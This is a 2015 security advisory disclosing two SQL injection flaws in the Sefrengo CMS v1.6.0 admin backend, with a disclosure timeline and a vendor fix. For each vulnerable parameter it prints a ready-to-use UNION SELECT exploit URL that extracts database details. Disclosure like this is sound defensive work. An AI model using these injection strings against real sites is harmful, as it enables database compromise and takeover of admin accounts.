Advisory: SQL-Injection in administrative Backend of Sefrengo CMS v.1.6.0
Advisory ID: SROEADV-2015-04
Author: Steffen Rösemann
Affected Software: CMS Sefrengo v.1.6.0(Release-Date: 18th-Feb-2014)
Vendor URL: http://www.sefrengo.org/start/start.html
Vendor Status: fixed
CVE-ID:-==========================
Vulnerability Description:==========================
The Content Management System Sefrengo v.1.6.0 contains SQL-Injection
vulnerabilities in its administrative Backend.==================
Technical Details:==================
The administrative Backend of Sefrengo CMS contains a functionality to edit
folders which reside on the CMS. Its located here:
http://{TARGET}/backend/main.php?area=con_configcat&idcat=1&idtplconf=0
The parameter „idcat“ ist vulnerable against SQL-Injection. An attacker
could abuse this to send crafted URLs to the administrator via mail to
execute own SQL commands (e.g. create a second admin-account).
Exploit-Example:
http://{TARGET}/backend/main.php?area=con_configcat&idcat=1'+and+'1'='2'+union+select+version(),user(),3,4+--+&idtplconf=0
Another SQL-Injection vulnerability can be found in the administrative
backend, where the admin can manage installed plugins. The vulnerable
parameter is „idclient“ in the following URL:
http://{TARGET}/backend/main.php?area=plug&idclient=1
Exploit-Example:
http://{TARGET}/backend/main.php?area=plug&idclient=1%27+and+%271%27=%272%27+union+select+1,version%28%29,user%28%29,4,database%28%29,6,7,8,9,10,11,12,13,14+--+=========
Solution:=========
Update to the latest version
====================
Disclosure Timeline:====================21-Dec-2014 –found the vulnerability
21-Dec-2014- informed the developers
22-Dec-2014- response by vendor
04-Jan-2015 – fix by vendor
04-Jan-2015- release date of this security advisory
04-Jan-2015- post on BugTraq / FullDisclosure
========
Credits:========
Vulnerability found and advisory written by Steffen Rösemann.===========
References:===========
http://www.sefrengo.org/start/start.html
http://sroesemann.blogspot.de
